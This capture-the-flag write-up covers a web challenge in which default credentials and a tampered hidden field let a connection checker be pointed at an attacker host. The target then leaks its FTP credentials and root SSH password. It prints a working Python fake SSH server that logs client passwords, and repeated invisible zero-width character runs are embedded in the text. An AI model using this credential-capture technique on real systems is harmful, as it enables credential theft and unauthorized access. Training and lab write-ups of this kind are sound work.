← Back to Writeups
CUSTOMMediumWeb

Virtual Server

XESXOR9/2/20263 min read
#web#custom#medium#default_credential_login#ftp_credential_capture#hidden_parameter_tampering#outbound_connection_abuse#ssh_credential_capture

Virtual Server

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: default_credential_login, ftp_credential_capture, hidden_parameter_tampering, outbound_connection_abuse, ssh_credential_capture

Summary

Walkthrough of the CUSTOM Web Virtual Server. Task: a web admin panel exposed a server-side connection checker for SSH and FTP after login with default credentials. Solution: change the target host to an attacker-controlled server, capture servic

Description

Original task description was not preserved in the notes. Task title: «Виртуальный сервер».

English summary: the target exposed HTTP, FTP, and SSH. After logging into the web panel with default credentials, the built-in connection checker could be abused to make the server connect to attacker-controlled FTP and SSH services, leaking valid credentials that led to both parts of the flag.

Analysis

Initial reconnaissance showed three open ports on 192.168.2.213: 21/tcp (vsFTPd 3.0.5), 22/tcp (OpenSSH 9.9), and 80/tcp (Apache 2.4.62 with PHP 8.3.19). The web root redirected to /login.php. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The login form accepted the trivial credentials admin/admin and redirected to /index.php. The panel then displayed a connection-check form with a visible host field set to 127.0.0.1 and a hidden protocol=ssh field.

Changing the hidden protocol parameter from ssh to ftp still worked and produced a successful FTP check. That behavior showed that the application trusted client-controlled input and performed real outbound connections on the server side. This is best modeled as server-side connection abuse with an SSRF-like effect across multiple protocols rather than only HTTP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The important insight was that the checker did not just probe connectivity. It attempted to authenticate, so redirecting those checks to attacker-controlled fake services could disclose the credentials used by the application itself.

Solution

  1. Scan the target and identify FTP, SSH, and HTTP.
  2. Log into the web panel with admin/admin.
  3. Observe the connection checker and tamper with the hidden protocol field.
  4. Point the FTP check to an attacker-controlled host and capture the FTP credentials.
  5. Use the leaked FTP credentials on the real target and recover the first flag part.
  6. Point the SSH check to an attacker-controlled host and capture the SSH credentials.
  7. Use the leaked root password on the real SSH service and recover the second flag part.
  8. Concatenate both parts into the final flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
python
#!/usr/bin/env python3

# Minimal Paramiko-based fake SSH server used to capture credentials.
# Generate a host key first, for example:
#   ssh-keygen -t rsa -b 2048 -f host_rsa_key -N ''

import socket
import paramiko


HOST_KEY = paramiko.RSAKey(filename="host_rsa_key")


class CaptureServer(paramiko.ServerInterface):
    def check_channel_request(self, kind, chanid):
        if kind == "session":
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    def check_auth_password(self, username, password):
        print(f"[+] Captured SSH credentials: {username}:{password}")
        return paramiko.AUTH_SUCCESSFUL

    def get_allowed_auths(self, username):
        return "password"


sock = socket.socket()
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(("0.0.0.0", 22))
sock.listen(100)
print("[*] Fake SSH server listening on 0.0.0.0:22")

while True:
    client, addr = sock.accept()
    print(f"[*] Connection from {addr}")
    transport = paramiko.Transport(client)
    transport.add_server_key(HOST_KEY)
    server = CaptureServer()
    try:
        transport.start_server(server=server)
        chan = transport.accept(5)
        if chan:
            chan.close()
    except Exception as exc:
        print(f"[-] Error: {exc}")
    finally:
        transport.close()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

FTP credential capture

Run a fake FTP service on the attacker box and submit the checker request with host=<attacker_ip> and protocol=ftp. The target connects outward and sends:

  • USER admin
  • PASS TU21y6lFQ40

Those credentials work against the real FTP service on the target. Browsing the FTP content reveals an operational script and enough context to look at /home/admin/first_part for the first half of the flag.

SSH credential capture

Run the fake SSH server and submit the checker request with host=<attacker_ip> and protocol=ssh. The target performs SSH authentication to the attacker-controlled host and leaks: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • user=root
  • password=2m4@7P]fEq&#

Those credentials work against the real SSH service on the target. After logging in as root, read /root/last_part to recover the second half of the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering default_credential_login, ftp_credential_capture, hidden_parameter_tampering, outbound_connection_abuse, ssh_credential_capture was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-04-08 • CUSTOM • Virtual Server • Difficulty: Medium